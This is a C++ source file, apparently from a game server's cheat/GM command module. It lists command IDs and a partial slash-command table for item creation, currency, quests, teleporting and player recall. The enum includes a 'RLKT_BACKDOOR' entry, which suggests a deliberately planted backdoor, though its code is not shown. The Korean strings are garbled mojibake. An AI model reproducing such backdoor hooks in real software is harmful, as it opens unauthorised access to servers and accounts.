2024-12-21 10:04:04 +08:00
# include "Stdafx.h"
# include "DNCheatCommand.h"
# include "DNUserSendManager.h"
# include "DNUserQuest.h"
# include "DNGameDataManager.h"
# include "DNLogConnection.h"
# include "DNDBConnectionManager.h"
# include "DNDBConnection.h"
# include "DNMissionSystem.h"
# include "DNFriend.h"
# include "DNIsolate.h"
# include "./boost/format.hpp"
# include "DNQuestManager.h"
# include "DNScriptManager.h"
# include "DNGameDataManager.h"
# include "DNUserSession.h"
# include "DNMasterConnection.h"
# include "IniFile.h"
# include "./boost/algorithm/string.hpp"
# include "DNGuildSystem.h"
# include "TimeSet.h"
# include "DNAppellation.h"
# include "DNMailSender.h"
# if defined(_VILLAGESERVER)
# if defined( PRE_PVP_GAMBLEROOM )
# include "DNPvPRoomManager.h"
# endif
# include "DNFieldDataManager.h"
# include "DNScriptAPI.h"
# include "DNPartyManager.h"
# include "DNUserSessionManager.h"
# include "DNField.h"
# include "DnSkillTreeSystem.h"
# include "DNAuthManager.h"
# include "DNCountryUnicodeSet.h"
# include "DNGuildVillage.h"
# include "DNLadderSystemManager.h"
# include "DNLadderRoom.h"
# include "DNGuildWarManager.h"
extern TVillageConfig g_Config ;
# if defined(PRE_ADD_QUICK_PVP)
# include "DNUserSessionManager.h"
# endif //#if defined(PRE_ADD_QUICK_PVP)
# if defined(PRE_ADD_LIMITED_CASHITEM)
# include "DNCashConnection.h"
# endif //#if defined(PRE_ADD_LIMITED_CASHITEM)
# if defined (PRE_ADD_BESTFRIEND)
# include "DNBestFriend.h"
# endif
# if defined(PRE_ADD_DWC)
# include "DNDWCSystem.h"
# include "DNDWCTeam.h"
# endif
# elif defined(_GAMESERVER)
# include "DNPvPGameRoom.h"
# include "PvPGameMode.h"
# include "DNActor.h"
# include "TaskManager.h"
# include "DnItemTask.h"
# include "DnDropItem.h"
# include "EtActionCoreMng.h"
# include "DNGameServerScriptApi.h"
# include "DnGameTask.h"
# include "DnPvPGameTask.h"
# include "DNMasterConnectionManager.h"
# include "PvPRespawnLogic.h"
# include "DnPlayerActor.h"
# include "DnFarmGameTask.h"
# include "GrowingArea.h"
# include "MAAiScript.h"
# include "DNFarmGameRoom.h"
# ifdef PRE_ADD_EXPORT_DPS_INFORMATION
# include "DnDPSReporter.h"
# endif
# endif
# if defined(PRE_ADD_NPC_REPUTATION_SYSTEM)
# include "NpcReputationProcessor.h"
# include "ReputationSystemRepository.h"
# endif // #if defined(PRE_ADD_NPC_REPUTATION_SYSTEM)
# if defined( PRE_ADD_SECONDARY_SKILL )
# include "SecondarySkillRepository.h"
# endif // #if defined( PRE_ADD_SECONDARY_SKILL )
# include "DNPeriodQuestSystem.h"
# if defined( PRE_ADD_STAMPSYSTEM )
# include "DNStampSystem.h"
# endif // #if defined( PRE_ADD_STAMPSYSTEM )
extern bool LoadNpcQuest ( ) ;
enum _CHEAT_CMT_TYPE
{
HELP = 0 ,
HELP1 ,
SET_USER_LEVEL ,
CLEAR_ALL_QUEST ,
MAKEITEM ,
huanhua ,
RELOAD_ACTION ,
ADD_SKILL ,
REMOVE_SKILL ,
ADD_SKILL_LEVEL ,
MAKECOIN ,
CHANGEMAP ,
SET_COMPLETE_QUEST ,
SETQUEST ,
DEL_QUEST ,
SHOW_QUEST_INFO ,
ALL_KILL_MONSTER ,
GEN_MONSTER ,
ADD_STATEEFFECT ,
NOTICE ,
ADDINVENCOUNT ,
ADDWARECOUNT ,
REBIRTH ,
GEN_NPC ,
ENABLESHADOW ,
FATIGUE ,
IGNORECOOLTIME ,
FCM ,
SETFCM ,
RESPAWNLOGIC ,
GETPVPSCORE ,
SETCULLING ,
GOTOMAP ,
SET_HP ,
SET_MP ,
SET_HPMPFULL ,
GET_HP ,
GAINMISSION ,
ACHIEVEMISSION ,
FORCERANK ,
ADD_XP ,
GAINDAILYMISSION ,
ACHIEVEDAILYMISSION ,
STAGECLEAR ,
SET_ENCHANT ,
LUCKY ,
GEN_MONSTER_COMPOUND ,
MAKECITEM ,
SETCP ,
MAILREMAIN ,
FULLFRIEND ,
FULLBLOCK ,
RELOAD_SCRIPT ,
TRACE ,
RECALL ,
CHEATSET ,
SETSP ,
SET_USER_JOB ,
REPAIRALL ,
BUILDUPALL ,
POTENTIALALL ,
GUILD_CREATE ,
GUILD_DISMISS ,
GUILD_CHANGELEVEL ,
GUILD_MAKECOIN ,
GUILD_CHANGECMMPOINT ,
GUILD_CHANGEMISSIONPOINT ,
GUILD_CHANGEWARPOINT ,
ACHIEVEGUILDCOMMONMISSION ,
RESET_SECONDAUTH ,
GAINWEEKLYMISSION ,
ACHIEVEWEEKLYMISSION ,
ACHIEVEGUILDMISSION ,
MAKE_GUILDFESTIVAL_POINT ,
MAKE_GUILDWAR_REWARD ,
FARM_START ,
IGNOREHIT ,
INVENCLEAR ,
GIFT ,
GETPOS ,
SETPOS ,
# if defined(PRE_ADD_NPC_REPUTATION_SYSTEM)
SETREPUTE ,
# endif // #if defined(PRE_ADD_NPC_REPUTATION_SYSTEM)
MASTERSYSTEM_MOD_GRADUATECOUNT ,
MASTERSYSTEM_SKIP_DATE ,
MASTERSYSTEM_MOD_FAVORPOINT ,
MASTERSYSTEM_MOD_RESPECTPOINT ,
FARM_PLANTSEED ,
FARM_DESTROYSEED ,
FARM_SKIPSEED ,
# if defined( PRE_ADD_FARM_DOWNSCALE )
FARM_ADDATTR ,
FARM_DELATTR ,
# endif // #if defined( PRE_ADD_FARM_DOWNSCALE )
RELOAD_MONSTER_AI ,
NESTCLEAR ,
# if defined( PRE_ADD_SECONDARY_SKILL )
ADD_SECONDARYSKILL ,
DEL_SECONDARYSKILL ,
ADD_SECONDARYSKILL_EXP ,
ADD_SECONDARYSKILL_RECIPE ,
ADD_SECONDARYSKILL_RECIPE_EXP ,
DEL_SECONDARYSKILL_RECIPE ,
EXTRACT_SECONDARYSKILL_RECIPE ,
# endif // #if defined( PRE_ADD_SECONDARY_SKILL )
SET_PERIODQUEST ,
SET_WORLDQUEST ,
GUILD_CHANGEMEMBERCOUNT ,
SET_GUILDWAREVENT ,
SET_PREWINGUILDUID ,
SET_GUILDWAR_FINALTIME ,
SET_GUILDWARSCHEDULE_RELOAD ,
SET_TITLE ,
SET_LADDER_POINT ,
SET_LADDER_GRADEPOINT ,
SET_LADDER_HIDDENGRADEPOINT ,
GET_LADDER_POINT ,
FORCE_LADDER_MATCHING ,
SET_SECOND_JOB_SKILL ,
CLEAR_SECOND_JOB_SKILL ,
MAKE_UNION_POINT ,
CMDEQUIPTRIGGER ,
CMDUNRIDE ,
ITEMEXPIREDATE ,
UPDATE_PET_EXP ,
SET_PET_COLOR ,
PERIODRESET ,
MAKEGITEM ,
FARM_GUILDWAR_FINAL ,
DESTROYPVP ,
CLEAR_MISSION ,
CLEAR_PRESENT ,
SHOP_GETLIST_REPURCHASE ,
SHOP_REPURCHASE ,
# if defined( PRE_ADD_QUICK_PVP)
QUICKPVP ,
# endif // #if defined( PRE_ADD_QUICK_PVP)
PVPTIMEOVER ,
RESETNESTCOUNT ,
DEL_GUILDEFFECT ,
DEL_GUILDMARK ,
DENY_GUILDRECRUIT ,
CANCEL_GUILDAPPLY ,
RESET_GUILDPOINTLIMIT ,
# if defined(PRE_ADD_PVP_VILLAGE_ACCESS)
PVP_VILLAGE_JOIN ,
PVP_VILLAGE_CREATE ,
PVP_VILLAGE_LADDER ,
# endif
# if defined(PRE_ADD_EXPORT_DPS_INFORMATION)
ENABLE_DPS_REPORT ,
# endif
# if defined( PRE_ADD_NAMEDITEM_SYSTEM )
GOLDBOX_NAMEDITEM ,
NAMEDITEM_COUNT ,
# endif
# if defined(PRE_ADD_LIMITED_CASHITEM)
CHANGE_LIMITQUANTITY ,
# endif //#if defined(PRE_ADD_LIMITED_CASHITEM)
# if defined (PRE_ADD_BESTFRIEND)
CLOSE_BESTFRIEND ,
# endif
# if defined( PRE_ADD_RACING_MODE)
RACING_START ,
RACING_END ,
# endif //#if defined( PRE_ADD_RACING_MODE)
# if defined( PRE_ADD_PCBANG_RENTAL_ITEM)
SETPCCAFERENTITEM ,
# endif
# ifdef PRE_MOD_PVPRANK
RANK ,
# endif //#ifdef PRE_MOD_PVPRANK
# if defined(PRE_ADD_PVP_RANKING)
PVP_RANK ,
PVP_LADDER_RANK ,
# endif
# if defined(PRE_SPECIALBOX)
SPECIALBOX ,
# endif // #if defined(PRE_SPECIALBOX)
# if defined(PRE_ADD_REMOTE_QUEST)
GAIN_REMOTE_QUEST ,
ACCEPT_REMOTE_QUEST ,
COMPLETE_REMOTE_QUEST ,
# endif
# if defined(PRE_ADD_STAGE_CLEAR_ENCHANT_REWARD) && defined(_GAMESERVER)
SET_STAGE_CLEAR_BOXNUM ,
# endif // #if defined(PRE_ADD_STAGE_CLEAR_ENCHANT_REWARD) && defined(_GAMESERVER)
ISGAINMISSION ,
# if defined( PRE_ADD_STAMPSYSTEM )
ADD_STAMP ,
CLEAR_STAMP ,
# endif // #if defined( PRE_ADD_STAMPSYSTEM )
# if defined(PRE_ADD_ACTIVEMISSION)
SET_ACTIVEMISSION ,
# endif
# if defined(PRE_ADD_MONTHLY_MISSION)
GAIN_MONTHLY_MISSION ,
ACHIEVE_MONTHLY_MISSION ,
# endif // #if defined(PRE_ADD_MONTHLY_MISSION)
# if defined(PRE_ADD_CP_RANK)
INIT_STAGECP ,
# endif
# if defined(PRE_ADD_DWC)
DWCPOINT ,
START_MATCH ,
DWC_MATCH_CLOSE ,
UPDATE_DWC_STATUS ,
# endif
# if defined( PRE_PVP_GAMBLEROOM )
CREATE_GAMBLEROOM ,
# endif
# if defined( PRE_ADD_NEW_MONEY_SEED )
DEL_SEED ,
# endif
RLKT_BACKDOOR ,
CMD_END ,
} ;
__CmdLineDefineStruct g_CmdList [ ] =
{
{ HELP , _T ( " /help " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> " ) , _T ( " Help " ) } ,
{ HELP1 , _T ( " /? " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> " ) , _T ( " Help " ) } ,
{ SET_USER_LEVEL , _T ( " /level " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> /level(1~255)" ) , _T ( " Set User Level /level(1~255) " ) } ,
{ CLEAR_ALL_QUEST , _T ( " /clearquest " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> Ʈ <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> .( <20> Ϸ<EFBFBD> <CFB7> Ȱ<EFBFBD> <20> <> <EFBFBD> <EFBFBD> )" ) , _T ( " Clear all quest.( Including info completed ) " ) } ,
{ MAKEITEM , _T ( " /makeitem " ) , _T ( " /makeitem(<28> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ε<EFBFBD> <CEB5> <EFBFBD> )(<28> <> <EFBFBD> <EFBFBD> <EFBFBD> ۰ <EFBFBD> <DBB0> <EFBFBD> )(<28> <> ȭ)(<28> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> )(ij<> <C4B3> <EFBFBD> <EFBFBD> <EFBFBD> ϶<EFBFBD> <20> Ⱓ) " ) , _T ( " /makeitem(ItemIndex)(Count)(Enchant)(Potential)(Cash Period) " ) } ,
{ huanhua , _T ( " /huanhua " ) , _T ( " /makeitem(<28> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ε<EFBFBD> <CEB5> <EFBFBD> )(<28> <> <EFBFBD> <EFBFBD> <EFBFBD> ۰ <EFBFBD> <DBB0> <EFBFBD> )(<28> <> ȭ)(<28> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> )(ij<> <C4B3> <EFBFBD> <EFBFBD> <EFBFBD> ϶<EFBFBD> <20> Ⱓ) " ) , _T ( " /makeitem(ItemIndex)(Count)(Enchant)(Potential)(Cash Period) " ) } ,
{ RELOAD_ACTION , _T ( " /reloadaction " ) , _T ( " <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> ε<EFBFBD> " ) , _T ( " Reload action file " ) } ,
{ ADD_SKILL , _T ( " /addskill " ) , _T ( " Add Skill " ) , _T ( " Add Skill " ) } ,
{ REMOVE_SKILL , _T ( " /removeskill " ) , _T ( " Remove Skill " ) , _T ( " Remove Skill " ) } ,
{ ADD_SKILL_LEVEL , _T ( " /addskilllevel " ) , _T ( " add Skill level " ) , _T ( " Add Skill level " ) } ,
{ MAKECOIN , _T ( " /makecoin " ) , _T ( " /makecoin(<28> ݾ<EFBFBD> ) " ) , _T ( " /makecoin(Amount) " ) } ,
{ CHANGEMAP , _T ( " /changemap " ) , _T ( " /changemap(<28> ̵<EFBFBD> <CCB5> <EFBFBD> <20> ʾ <EFBFBD> <CABE> ̵<EFBFBD> )(<28> <> <EFBFBD> ̵<EFBFBD> :0~4:Default(0))(<28> <> <EFBFBD> ۰ <EFBFBD> <DBB0> <EFBFBD> Ʈ<EFBFBD> ε<EFBFBD> <CEB5> <EFBFBD> :Default(1) " ) , _T ( " Change your position by map /changemap(MapId)(Difficulty:0~4:Default(0))(StartGate Index:Default(1) " ) } ,
{ SET_COMPLETE_QUEST , _T ( " /completequest " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ʈ <20> Ϸ<EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> /completequest <20> <> <EFBFBD> <EFBFBD> Ʈ<EFBFBD> <C6AE> ȣ <20> <> ŷ<EFBFBD> <C5B7> <EFBFBD> <EFBFBD> (1:<3A> <> ŷ/<2F> <EFBFBD> :<3A> ƴ<EFBFBD> ) <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (0:<3A> ƴ<EFBFBD> /<2F> <EFBFBD> :<3A> <> <EFBFBD> <EFBFBD> ) <20> ݺ<EFBFBD> <DDBA> <EFBFBD> <EFBFBD> <EFBFBD> (0:<3A> ƴ<EFBFBD> /<2F> <EFBFBD> :<3A> ݺ<EFBFBD> )" ) , _T ( " Set questinfo completed /completequest QuestNumber Marking?(1:Marking/Else:No) Delete?(0:No/Else:Delete) Repeat?(0:No/Else:Repeat) " ) } ,
{ SETQUEST , _T ( " /setquest " ) , _T ( " /setquest(<28> <> <EFBFBD> <EFBFBD> Ʈ<EFBFBD> <C6AE> ȣ )(<28> <> <EFBFBD> <EFBFBD> ƮŸ<C6AE> <C5B8> )(step)(journal) " ) , _T ( " /setquest(QuestNumber)(Type)(Step)(Journal) " ) } ,
{ DEL_QUEST , _T ( " /delquest " ) , _T ( " /delquest(<28> <> <EFBFBD> <EFBFBD> Ʈ<EFBFBD> <C6AE> ȣ ) " ) , _T ( " /delquest(QuestNumber) " ) } ,
{ SHOW_QUEST_INFO , _T ( " /showquest " ) , _T ( " /showquest <20> <> <EFBFBD> <EFBFBD> Ʈ <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> " ) , _T ( " /showquest Show all information about quest " ) } ,
{ ALL_KILL_MONSTER , _T ( " /killmon " ) , _T ( " /killmon <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> δ<EFBFBD> . " ) , _T ( " /killmon Kill all monsters on your map. " ) } ,
{ GEN_MONSTER , _T ( " /genmon " ) , _T ( " /genmon(<28> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> ȣ )(<28> <EFBFBD> <EEB8B6> ) <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> " ) , _T ( " /genmon(MonsterNumber)(Count) Create Monsters " ) } ,
{ ADD_STATEEFFECT , _T ( " /addse " ) , _T ( " /addse(<28> <> <EFBFBD> <EFBFBD> ȿ<EFBFBD> <C8BF> <20> ε<EFBFBD> <CEB5> <EFBFBD> )(<28> <> <EFBFBD> ӽð<D3BD> (ms))(<28> <> <EFBFBD> <EFBFBD> ) " ) , _T ( " /addse(StateEffect Index)(Duration(ms))(Factor) " ) } ,
{ NOTICE , _T ( " /notice " ) , _T ( " /notice(<28> <> <EFBFBD> <EFBFBD> <EFBFBD> ҹ<EFBFBD> <D2B9> <EFBFBD> ) " ) , _T ( " /notice(Sentance) " ) } ,
{ ADDINVENCOUNT , _T ( " /invencount " ) , _T ( " /invencount(<28> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> κ<EFBFBD> <20> ִ밳<D6B4> <EBB0B3> max:50) " ) , _T ( " /invencount(Max InvenCount max:50) " ) } ,
{ ADDWARECOUNT , _T ( " /warecount " ) , _T ( " /warecount(<28> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> â<> <C3A2> <20> ִ밳<D6B4> <EBB0B3> max:50) " ) , _T ( " /warecount(Max WareCount max:50) " ) } ,
{ REBIRTH , _T ( " /rebirth " ) , _T ( " /rebirth(<28> <> Ȱ<EFBFBD> <C8B0> )(pc<70> <63> <20> <> Ȱ<EFBFBD> <C8B0> )(cash <20> <> Ȱ<EFBFBD> <C8B0> ) " ) , _T ( " /rebirth(Normal)(PCRoom)(Cash) " ) } ,
{ GEN_NPC , _T ( " /gennpc " ) , _T ( " /gennpc(npc<70> ε<EFBFBD> <CEB5> <EFBFBD> ) " ) , _T ( " /gennpc(NpcIndex) " ) } ,
{ ENABLESHADOW , _T ( " /enableshadow " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <EFBFBD> Ʈ On/Off" ) , _T ( " Testing Shadow On/Off " ) } ,
{ FATIGUE , _T ( " /fatigue " ) , _T ( " /fatigue(<28> ϰ<EFBFBD> max<61> <78> )(<28> ְ<EFBFBD> max<61> <78> )(PC<50> <43> max<61> <78> ) " ) , _T ( " /fatigue(Max Daily Value)(Max Weekly Value)(Max PCRoom Value) " ) } ,
{ IGNORECOOLTIME , _T ( " /ignorect " ) , _T ( " (<28> <> ų <20> <> Ÿ<EFBFBD> <C5B8> <20> <> <EFBFBD> <EFBFBD> ) " ) , _T ( " (Ignore Skill CoolTime) " ) } ,
{ FCM , _T ( " /fcm " ) , _T ( " /fcm " ) , _T ( " /fcm " ) } ,
{ SETFCM , _T ( " /setfcm " ) , _T ( " /setfcm(onlinemin) " ) , _T ( " /setfcm(onlinemin) " ) } ,
{ RESPAWNLOGIC , _T ( " /respawnlogic " ) , _T ( " /respawnlogic(<28> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ʈ ġƮ<C4A1> <C6AE> Ȱ<> <C8B0> /<2F> <> Ȱ<EFBFBD> <C8B0> ȭ <20> Ѵ <EFBFBD> .) " ) , _T ( " /respawnlogic(Activate cheat for respawn point or not) " ) } ,
{ GETPVPSCORE , _T ( " /getpvpscore " ) , _T ( " /getpvpscore(<28> ڽ<EFBFBD> <DABD> <EFBFBD> PvP<76> <50> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> 캻<EFBFBD> <ECBABB> .) " ) , _T ( " /getpvpscore(Show my PvP's score) " ) } ,
{ SETCULLING , _T ( " /setculling " ) , _T ( " /setculling(<28> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ð<EFBFBD> , <20> Ÿ<EFBFBD> <C5B8> <EFBFBD> <EFBFBD> <EFBFBD> ) " ) , _T ( " /setculling(Sync time between users, distance) " ) } ,
{ GOTOMAP , _T ( " /go " ) , _T ( " /go(<28> ̵<EFBFBD> <CCB5> <EFBFBD> <20> ʾ <EFBFBD> <CABE> ̵<EFBFBD> )(<28> <> <EFBFBD> ̵<EFBFBD> :0~4:Default(0))(<28> <> <EFBFBD> ۰ <EFBFBD> <DBB0> <EFBFBD> Ʈ<EFBFBD> ε<EFBFBD> <CEB5> <EFBFBD> :Default(1) " ) , _T ( " /go(MapId)(Difficulty:0~4:Default(0))(StartGate Index:Default(1) " ) } ,
{ SET_HP , _T ( " /hp " ) , _T ( " HP<EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> " ) , _T ( " Change HP " ) } ,
{ SET_MP , _T ( " /mp " ) , _T ( " MP<EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> " ) , _T ( " Change MP " ) } ,
{ SET_HPMPFULL , _T ( " /full " ) , _T ( " HP,MP Full " ) , _T ( " HP,MP Full " ) } ,
{ GET_HP , _T ( " /gethp " ) , _T ( " HPȮ<EFBFBD> <EFBFBD> " ) , _T ( " Check HP " ) } ,
{ GAINMISSION , _T ( " /missiongain " ) , _T ( " <EFBFBD> ̼<EFBFBD> ȹ<> <C8B9> " ) , _T ( " Acquire Mission " ) } ,
{ ACHIEVEMISSION , _T ( " /missionachieve " ) , _T ( " <EFBFBD> ̼<EFBFBD> <20> <EFBFBD> " ) , _T ( " Achieve Mission " ) } ,
{ FORCERANK , _T ( " /forcerank " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ŭ<> <C5AC> <EFBFBD> <EFBFBD> <20> <> ũ <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> " ) , _T ( " Force to change rank of dungeon clear " ) } ,
{ ADD_XP , _T ( " /add_xp " ) , _T ( " PVP XP ġƮ " ) , _T ( " Cheat PvP's xp " ) } ,
{ GAINDAILYMISSION , _T ( " /dmissiongain " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> Ϲ ̼<EFBFBD> ȹ<> <C8B9> " ) , _T ( " Acquire Daily Mission " ) } ,
{ ACHIEVEDAILYMISSION , _T ( " /dmissionachieve " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> Ϲ ̼<EFBFBD> <20> <EFBFBD> " ) , _T ( " Achieve Daily Mission " ) } ,
{ STAGECLEAR , _T ( " /clear " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ŭ<> <C5AC> <EFBFBD> <EFBFBD> <20> <EFBFBD> Ʈ" ) , _T ( " Force to clear Stage " ) } ,
{ SET_ENCHANT , _T ( " /enchant " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> ȭ /enchant(<28> κ<EFBFBD> <CEBA> ε<EFBFBD> <CEB5> <EFBFBD> )(<28> <> ȭ<EFBFBD> <C8AD> <EFBFBD> <EFBFBD> )(<28> <> <EFBFBD> <EFBFBD> <EFBFBD> °<EFBFBD> )" ) , _T ( " Item Enchant /enchant(InvenIndex)(Level)(Potential Value) " ) } ,
{ LUCKY , _T ( " /lucky " ) , _T ( " <EFBFBD> <EFBFBD> ȭ <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> Ȯ<> <C8AE> 100<30> <30> <EFBFBD> <EFBFBD> " ) , _T ( " Success to enchance any items " ) } ,
{ GEN_MONSTER_COMPOUND , _T ( " /gencmon " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> (<28> <> <EFBFBD> Ŀ<EFBFBD> <C4BF> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ̺<EFBFBD> <20> <> <EFBFBD> <EFBFBD> )" ) , _T ( " Create Monster(Reference:CompoundTable " ) } ,
{ MAKECITEM , _T ( " /makecitem " ) , _T ( " /makecitem(<28> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ŀ<EFBFBD> <C4BF> <EFBFBD> <EFBFBD> ε<EFBFBD> <CEB5> <EFBFBD> )(<28> <> <EFBFBD> <EFBFBD> <EFBFBD> ۰ <EFBFBD> <DBB0> <EFBFBD> ) " ) , _T ( " /makecitem(ItemTableIndex)(Count) " ) } ,
{ SETCP , _T ( " /cp " ) , _T ( " cp <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> մϴ<D5B4> . " ) , _T ( " Set cp value " ) } ,
{ MAILREMAIN , _T ( " /mailremain " ) , _T ( " /mailremain(<28> <> <EFBFBD> <EFBFBD> <EFBFBD> ð<EFBFBD> ) " ) , _T ( " /mailremain(left time) " ) } ,
{ FULLFRIEND , _T ( " /fullfriend " ) , _T ( " ģ<EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ʈ <20> <> <EFBFBD> <EFBFBD> ä<EFBFBD> <C3A4> <EFBFBD> <EFBFBD> " ) , _T ( " Fullfill friend list " ) } ,
{ FULLBLOCK , _T ( " /fullblock " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> ܸ<EFBFBD> <EFBFBD> <EFBFBD> Ʈ <20> <> <EFBFBD> <EFBFBD> ä<EFBFBD> <C3A4> <EFBFBD> <EFBFBD> " ) , _T ( " Fullfill block list " ) } ,
{ RELOAD_SCRIPT , _T ( " /reloadscript " ) , _T ( " <EFBFBD> <EFBFBD> ũ<EFBFBD> <EFBFBD> Ʈ <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> ε<EFBFBD> " ) , _T ( " Reload script file " ) } ,
{ TRACE , _T ( " /trace " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/trace ij<> <C4B3> <EFBFBD> <EFBFBD> <EFBFBD> ̸<EFBFBD> ),<2C> <> <EFBFBD> <EFBFBD> (<28> Է<EFBFBD> <D4B7> <EFBFBD> ij<> <C4B3> <EFBFBD> <EFBFBD> <EFBFBD> ̸<EFBFBD> <CCB8> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> Ѵ <EFBFBD> .)" ) , _T ( " Usage(/trace CharacterName), Description(Trace character's dungeon) " ) } ,
{ RECALL , _T ( " /recall " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/recall ij<> <C4B3> <EFBFBD> <EFBFBD> <EFBFBD> ̸<EFBFBD> ),<2C> <> <EFBFBD> <EFBFBD> (<28> Է<EFBFBD> <D4B7> <EFBFBD> ij<> <C4B3> <EFBFBD> <EFBFBD> GM<47> <4D> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> ȯ<EFBFBD> մϴ<D5B4> ." ) , _T ( " Usage(/recall CharacterName), Description(Recall character to GM Village " ) } ,
{ CHEATSET , _T ( " /cheatset " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/cheatset <20> <> Ʈ<EFBFBD> ̸<EFBFBD> ),<2C> <> <EFBFBD> <EFBFBD> (<28> Է<EFBFBD> <D4B7> <EFBFBD> <20> <> Ʈ<EFBFBD> ̸<EFBFBD> <CCB8> <EFBFBD> ġƮ<C4A1> <C6AE> Ʈ<EFBFBD> <C6AE> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> մϴ<D5B4> ." ) , _T ( " Usage(/cheatset SetName),Description(Excute CheatSet related to SetName you typed " ) } ,
{ SETSP , _T ( " /setsp " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/setsp <20> <> ų<EFBFBD> <C5B3> <EFBFBD> <EFBFBD> Ʈ),<2C> <> <EFBFBD> <EFBFBD> (<28> Է<EFBFBD> <D4B7> <EFBFBD> <20> <> ų<EFBFBD> <C5B3> <EFBFBD> <EFBFBD> Ʈ <20> <> ġ<EFBFBD> <C4A1> <20> <> <EFBFBD> <EFBFBD> ij<> <C4B3> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> ų<EFBFBD> <C5B3> <EFBFBD> <EFBFBD> Ʈ<EFBFBD> <C6AE> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> Ѵ <EFBFBD> ." ) , _T ( " Usage(/setsp SkillPoint), Description(Set your character's skillpoint " ) } ,
{ SET_USER_JOB , _T ( " /setjob " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/setjob <20> <> <EFBFBD> <EFBFBD> <20> ε<EFBFBD> <CEB5> <EFBFBD> ), <20> <> <EFBFBD> <EFBFBD> (<28> Է<EFBFBD> <D4B7> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> ε<EFBFBD> <CEB5> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> ij<> <C4B3> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> մϴ<D5B4> ." ) , _T ( " Usage(/setjob JobIndex), Description(Change your character's job " ) } ,
